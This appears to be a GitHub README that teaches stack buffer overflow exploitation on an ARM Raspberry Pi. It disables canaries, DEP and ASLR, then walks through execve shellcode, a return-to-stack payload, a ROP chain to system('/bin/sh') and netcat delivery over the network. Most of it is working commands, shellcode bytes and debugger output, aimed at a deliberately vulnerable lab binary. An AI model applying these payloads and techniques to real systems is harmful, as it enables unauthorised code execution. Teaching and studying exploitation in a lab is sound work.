Tutorial: ARM (A32) Linux Buffer Overflow Exploit with Raspberry Pi 3

Before automating a process, one needs to know how to do it manually.

Ben Lynn has written an excellent tutorial about how to exploit a stack-based buffer overflow vulnerability on 64-bit Linux in his blog post Return-oriented programming on 64-bit Linux. In this tutorial, we demonstrate similar techniques on an ARM architecture, using a Raspberry Pi 3 running the Raspbian Linux operating system.

Operating system for the tutorial

Raspbian (kernel version 4.14). Running uname -a gives Linux rpi 4.14.37-v7+ \#1111 SMP Thu Apr 26 13:56:59 BST 2018 armv7l GNU/Linux

Disablement of Linux platform countermeasures

For a demonstration purpose, in this tutorial, we shall disable Linux platform provided anti-exploitation countermeasures:

Stack smash protector (SSP, stack canary): disable for Part 1 and Part 2

When building vulnerable code

$ gcc -fno-stack-protector [other args] badcode.c

Non-executable stack (data execution prevention, DEP): disable for Part 1

Mark binary badcode as requiring executable stack.

$ execstack -s ./badcode

Note: As it turned out, the command that is supposed to mark the binary's stack non-executable, execstack -c ./badcode, takes no effect on the version of Raspbian I use for this demonstration. And therefore, this step is redundant on this particular platform.

Address space layout randomization (ASLR): disable for Part 1 and Part 2

One can either disable ASLR on the vulnerable binary only during execution time

$ setarch $(arch) -R ./badcode

or temporarily disable ASLR on the entire platform

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

To make it simple, in this tutorial we will only use the A32 instruction set, and will not take advantage the ARMv7 processor's support of the Thumb (T32) instruction set.

Part 1: Exploit a stack-based buffer overflow by returning to shell code

In this section, we demonstrate how to overwrite the vulnerable code's main function's return address to point it to a piece of shell code stored on the stack.

The stack layout for this exploit

    --- bottom of stack ---
  
    return addr: addr of &buf[0]
    -----------------------
        $r11 (frame pointer)
    -----------------------
    80-byte buf, beginning with shellcode

    ---  top of stack   ---

The shellcode

The shell code uses the execve system call to invoke /bin/sh.

The shell code can be extracted from the executable 'shell', compiled out of the source file shell.c, by the procedures that follow:

$ cd src
$ make shell

Now the ELF 32-bit LSB executable 'shell' is generated. We use objdump to inspect the shell code of interest.

$ objdump -d shell | sed -n '/needle0/,/needle1/p'

This prints

000103f0 <needle0>:
   103f0:	ea000004 	b	10408 <lab1>

000103f4 <lab0>:
   103f4:	e1a0000e 	mov	r0, lr
   103f8:	e0211001 	eor	r1, r1, r1
   103fc:	e0222002 	eor	r2, r2, r2
   10400:	e3a0700b 	mov	r7, #11
   10404:	ef000000 	svc	0x00000000

00010408 <lab1>:
   10408:	ebfffff9 	bl	103f4 <lab0>
   1040c:	6e69622f 	.word	0x6e69622f
   10410:	7361622f 	.word	0x7361622f
   10414:	68          	.byte	0x68

00010415 <needle1>:

Because '0x415-0x3f0' equals 37 in decimal, we round it to 40 bytes (so that the code is 4-byte aligned) for the shell code.

$ xxd -s0x3f0 -l40 -p shell > shellcode.txt
$ cat shellcode.txt
040000ea0e00a0e1011021e0022022e00b70a0e3000000eff9ffffeb2f62
696e2f6261736800dead

This is the shell code we are going to jump to after overrunning the stack buffer later.

The bad code

The bad C code, badcode.c, exhibits a classic buffer overflow on the stack. To compile the code without stack protection and DEP, two OS-added anti-exploitation countermeasures, for the demonstration purpose, do

$ make badcode

Now let's get some idea about the stack layout in the 'badcode' program.

$ gdb ./badcode

Within the gdb console, disassemble the 'main' function

(gdb) disas main
Dump of assembler code for function main:
   0x0001047c <+0>:	push	{r11, lr}
   0x00010480 <+4>:	add	r11, sp, #4
   0x00010484 <+8>:	sub	sp, sp, #88	; 0x58
   0x00010488 <+12>:	str	r0, [r11, #-88]	; 0x58
   0x0001048c <+16>:	str	r1, [r11, #-92]	; 0x5c
   0x00010490 <+20>:	sub	r3, r11, #84	; 0x54
   0x00010494 <+24>:	ldr	r0, [pc, #52]	; 0x104d0 <main+84>
   0x00010498 <+28>:	mov	r1, r3
   0x0001049c <+32>:	bl	0x1030c
   0x000104a0 <+36>:	ldr	r0, [pc, #44]	; 0x104d4 <main+88>
   0x000104a4 <+40>:	bl	0x10324
   0x000104a8 <+44>:	sub	r3, r11, #84	; 0x54
   0x000104ac <+48>:	mov	r0, r3
   0x000104b0 <+52>:	bl	0x10318
   0x000104b4 <+56>:	sub	r3, r11, #84	; 0x54
   0x000104b8 <+60>:	mov	r0, r3
   0x000104bc <+64>:	bl	0x10324
   0x000104c0 <+68>:	mov	r3, #0
   0x000104c4 <+72>:	mov	r0, r3
   0x000104c8 <+76>:	sub	sp, r11, #4
   0x000104cc <+80>:	pop	{r11, pc}
   0x000104d0 <+84>:	andeq	r0, r1, r12, asr #10
   0x000104d4 <+88>:	andeq	r0, r1, r0, asr r5
End of assembler dump.

From the disassembled code at offset +44, we can tell that the stack array we are trying to overflow, 'buf', starts 84 (i.e., 0x54 in hex) bytes below $r11, which points to the location of the saved $lr on the stack (see code at offset +4). It is the return address of the 'main' function. In other words, the saved return address of the 'main' function on the stack is 84 bytes above 'buf'. This is the address we will overwrite.

The Exploit

Our exploitation strategy is therefore as follows:

Prepare a payload of 88 bytes in total, with the shell code in front, and the 4-byte address of 'buf' in the end. We also preserve the value of saved $r11 by setting the second last 4 bytes appropriately. In gdb, by breaking at *0x0001047c and examining the value of $r11, we obtain that this value should be 0x0.
Put our payload (and thus shell code) at the address of 'buf', so that the return address of 'main' will be overridden with the address of the shell code.
Fill the rest of the payload with arbitrary bytes.

For the demonstration, we also disable ASLR when running the 'badcode' program (in the meanwhile 'badcode' also prints out the address of 'buf', to simplify the demonstration).

$ setarch $(arch) -R ./badcode
0x7efff1f8
Enter name:

To implement the above strategy

Get the address of 'buf', 0x7efff1f8, which has been printed out in the test run above.

Prepare the payload file 'payload'

$ pad=$(for i in $(seq 40); do echo -n '42'; done)
$ r11=$(printf %08x 0x0 | tac -rs..)
$ ret=$(printf %08x 0x7efff1f8 | tac -rs..) # little endian
$ (cat shellcode.txt; echo -n $pad; echo -n $r11; echo -n $ret) | xxd -r -p > payload

If we run xxd payload, we will see the payload content as follows:

0000000: 0400 00ea 0e00 a0e1 0110 21e0 0220 22e0  ..........!.. ".
0000010: 0b70 a0e3 0000 00ef f9ff ffeb 2f62 696e  .p........../bin
0000020: 2f62 6173 6800 dead 4242 4242 4242 4242  /bash...BBBBBBBB
0000030: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
0000040: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
0000050: 0000 0000 f8f1 ff7e                      .......~

Run exploit (using cat as stdin)

$ (cat payload; cat) | setarch $(arch) -R ./badcode
0x7efff1f8
Enter name:

Press 'enter', and now we have the shell

date
Fri May  4 02:05:24 CST 2018
uname -r
4.14.37-v7+
whoami
pi
apt-get moo
                 (__) 
                 (oo) 
           /------\/ 
          / |    ||   
         *  /\---/\ 
            ~~   ~~   
..."Have you mooed today?"...

Recall that in the demonstration above, we have turned off Linux provided countermeasures: stack protection, non-executable stack, and address space layout randomization.

If non-executable stack is turned on, then the above exploit would not have worked. Unfortunately, on the version of the Raspbian I use for this tutorial, non-executable stack is not properly implemented, and thus cannot be easily enabled using the execstack -c [binary] command. On a target that supports this countermeasure, its effect can be observed by make badcode_dep, and then repeating the procedures above on ./badcode_dep. You should receive a segmentation fault (core dumped) message when injecting the payload.

In Part 2, we will describe the technique to bypass non-executable stack.

Part 2: Return-oriented programming exploit on ARMv7

The stack layout for this exploit

    --- bottom of stack ---

     addr of 'system()'
    -----------------------
     addr of "/bin/sh"
    -----------------------
     addr of 'pop {r0, pc}'
    -----------------------
       saved $r11 (0x000000)
    -----------------------
    80-byte buf, filled with anything

    ---  top of stack   ---

The bad code with DEP

Our bad code is the same as before at the source level. But we turn on non-executable stack.

$ cd src
$ make badcode_dep

The vulnerable binary is generated as 'badcode_dep'.

Return on ARM

There is no 'RET' instruction on ARM. However, returning on ARM can be as simple as putting the address of the instruction to jump to in the $pc register, e.g., pop {pc}. And this is effectively equivalent to a 'RET' on x64, i.e., it jumps to the address in memory held my the stack pointer $sp, and increments $sp by the size of a pointer length (4 for A32).

Our exploitation strategy is therefore the following: by laying out the stack content carefully, and bootstrap the jump to (a chain of) instructions such as pop {r0, ..., pc} to cause the program control flow to hit system("/bin/sh").

The procedures

It might be tempting to put the string "/bin/sh" inside the buffer that is being overflown. However, because the buffer is on the stack, and subsequent function invocations (e.g., 'system()') may destroy this content, doing so will make the exploit unreliable, and often causes a SIGSEGV before the shell gets to run. A better strategy is to find the location of the string "/bin/bash" in other parts of the program's memory space, for example, in 'libc'. In gdb, we do

(gdb) b main
Breakpoint 1 at 0x10490: file badcode.c, line 7.
(gdb) run
Starting program: /home/pi/src/rop-tutorial-on-arm32/src/badcode_dep 

Breakpoint 1, main (argc=1, argv=0x7efff354) at badcode.c:7
7	    printf("%p\n", buf); // address of the buf array
(gdb) print &system
$1 = (<text variable, no debug info> *) 0x76e9ffac <__libc_system>
(gdb) find &system,+9999999,"/bin/sh"
0x76f83b20
warning: Unable to access 16000 bytes of target memory at 0x76f93528, halting search.
1 pattern found.
(gdb) x/s 0x76f83b20
0x76f83b20:	"/bin/sh"

This way, we find the memory address 0x76f83b20, at which the string "/bin/sh" resides. Save the hexadecimal representation of this address to a variable $r0:

$ r0=$(printf %08x 0x76f83b20 | tac -rs..)

Next, we search for a ROP gadget of the form 'pop {r0, ..., pc}' in shared libraries loaded by the vulnerable program. For example, searching in 'libc'

$ objdump -d /lib/arm-linux-gnueabihf/libc-2.19.so | grep -B5 "pop.*r0.*pc"

we get a number of reasonable choices such as 'pop {r0, r4, pc}', as shown below

   7a118:	25714001 	ldrbcs	r4, [r1, #-1]!
   7a11c:	2551c001 	ldrbcs	ip, [r1, #-1]
   7a120:	15603001 	strbne	r3, [r0, #-1]!
   7a124:	25604001 	strbcs	r4, [r0, #-1]!
   7a128:	2540c001 	strbcs	ip, [r0, #-1]
   7a12c:	e8bd8011 	pop	{r0, r4, pc}
--
   7aaa4:	24d14001 	ldrbcs	r4, [r1], #1
   7aaa8:	25d1c000 	ldrbcs	ip, [r1]
   7aaac:	14c03001 	strbne	r3, [r0], #1
   7aab0:	24c04001 	strbcs	r4, [r0], #1
   7aab4:	25c0c000 	strbcs	ip, [r0]
   7aab8:	e8bd8011 	pop	{r0, r4, pc}
--
   d4500:	e92d480f 	push	{r0, r1, r2, r3, fp, lr}
   d4504:	e1b0000b 	movs	r0, fp
   d4508:	15100004 	ldrne	r0, [r0, #-4]
   d450c:	11b0100e 	movsne	r1, lr
   d4510:	1bfffd1b 	blne	d3984 <_mcleanup+0x40>
   d4514:	e8bd880f 	pop	{r0, r1, r2, r3, fp, pc}

It turns out, a more straightforward gadget 'pop {r0, pc}' is readily available in 'libarmmem.so'

$ objdump -d /usr/lib/arm-linux-gnueabihf/libarmmem.so | grep -B5 "pop.*r0.*pc"

An example output is

    40ec:	28a0000a 	stmiacs	r0!, {r1, r3}
    40f0:	44801004 	strmi	r1, [r0], #4
    40f4:	e1b02102 	lsls	r2, r2, #2
    40f8:	20c010b2 	strhcs	r1, [r0], #2
    40fc:	45c01000 	strbmi	r1, [r0]
    4100:	e8bd8001 	pop	{r0, pc}

We now know at the instruction 'pop {r0, pc}' is at offset 0x4100 in 'libarmmem.so'. And this is the gadget we are going to use for our ROP exploit. To find out the address of this gadget, we just need to know the start address of 'libarmmem.so' in the program's address space. It can be done by running ./badcode_dep in one terminal, and in another

$ pid=$(ps -C badcode_dep -o pid --no-header)
$ grep libarmmem /proc/$pid/maps

to get the start address 0x76fba00, as shown in the output below

76fba000-76fbf000 r-xp 00000000 b3:07 537813     /usr/lib/arm-linux-gnueabihf/libarmmem.so
76fbf000-76fce000 ---p 00005000 b3:07 537813     /usr/lib/arm-linux-gnueabihf/libarmmem.so
76fce000-76fcf000 rw-p 00004000 b3:07 537813     /usr/lib/arm-linux-gnueabihf/libarmmem.so

Adding the offset 0x4100 to it, we have

$ ret=$(printf %08x $((0x76fba000+0x4100)) | tac -rs..)

Similarly, we obtain the address of the 'system()' function by first finding its offset (0x39fac) in 'libc'

$ nm -D /lib/arm-linux-gnueabihf/libc-2.19.so | grep '\<system\>'
00039fac W system

and then getting the start address of 'libc' (0x76e66000) in memory

$ grep libc /proc/$pid/maps     
76e66000-76f91000 r-xp 00000000 b3:07 656699     /lib/arm-linux-gnueabihf/libc-2.19.so
76f91000-76fa1000 ---p 0012b000 b3:07 656699     /lib/arm-linux-gnueabihf/libc-2.19.so
76fa1000-76fa3000 r--p 0012b000 b3:07 656699     /lib/arm-linux-gnueabihf/libc-2.19.so
76fa3000-76fa4000 rw-p 0012d000 b3:07 656699     /lib/arm-linux-gnueabihf/libc-2.19.so

Adding the offset to the start address, we have

$ system_addr=$(printf %08x $((0x76e66000+0x39fac)) | tac -rs..)

We set up the first 84 bytes as 80-byte arbitrary data followed by the saved $r11 value 0x00000000.

$ pad=$(echo -n "ARM ROP Tutorial" | xxd -p; \
echo -n "00"; \
for i in `seq 63`; do echo -n "42"; done; \
echo -n "00000000")

Now we complete the construction of the 96-byte ROP payload

$ echo -n ${pad}${ret}${r0}${system_addr} | xxd -r -p > rop_payload

Run the ROP exploit

$ (cat rop_payload ; cat) | ./badcode_dep

Hit a few enters to get in the spawned shell.

Enter name:

ARM ROP Tutorial
whoami
pi
date
Fri  4 May 04:53:42 CST 2018
exit

Note that when we exit from the shell, it might get a (harmless) segmentation fault. This is likely caused by the arbitrary bytes we used for the padding or our setting the saved $r11 as 0x00000000. I have not dug into the root cause, but it should not affect the effectiveness of our exploit.

How to demonstrate the attack over the network

On victim machine, change to the src directory. On one terminal

$ mkfifo pip
$ nc -l 3333 > pip # listening on port 3333: DANGER

On another terminal

$ cat pip | setarch `arch` -R ./badcode

On attacking machine, change to the src directory. On a terminal
```
$ (cat payload; cat) | nc 127.0.0.1 3333
```
In the above command, 127.0.0.1 can be replaced with the external IP of the victim machine.

A list of unsafe C functions to avoid when playing with strings

gets
strcpy
strcat
sprintf
scanf
sscanf

Use memcpy with extra care.

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

README.md

README.md

Tutorial: ARM (A32) Linux Buffer Overflow Exploit with Raspberry Pi 3

Operating system for the tutorial

Disablement of Linux platform countermeasures

Stack smash protector (SSP, stack canary): disable for Part 1 and Part 2

Non-executable stack (data execution prevention, DEP): disable for Part 1

Address space layout randomization (ASLR): disable for Part 1 and Part 2

Part 1: Exploit a stack-based buffer overflow by returning to shell code

The stack layout for this exploit

The shellcode

The bad code

The Exploit

Part 2: Return-oriented programming exploit on ARMv7

The stack layout for this exploit

The bad code with DEP

Return on ARM

The procedures

How to demonstrate the attack over the network

A list of unsafe C functions to avoid when playing with strings

Files

README.md

Latest commit

History

README.md

File metadata and controls

Tutorial: ARM (A32) Linux Buffer Overflow Exploit with Raspberry Pi 3

Operating system for the tutorial

Disablement of Linux platform countermeasures

Stack smash protector (SSP, stack canary): disable for Part 1 and Part 2

Non-executable stack (data execution prevention, DEP): disable for Part 1

Address space layout randomization (ASLR): disable for Part 1 and Part 2

Part 1: Exploit a stack-based buffer overflow by returning to shell code

The stack layout for this exploit

The shellcode

The bad code

The Exploit

Part 2: Return-oriented programming exploit on ARMv7

The stack layout for this exploit

The bad code with DEP

Return on ARM

The procedures

How to demonstrate the attack over the network

A list of unsafe C functions to avoid when playing with strings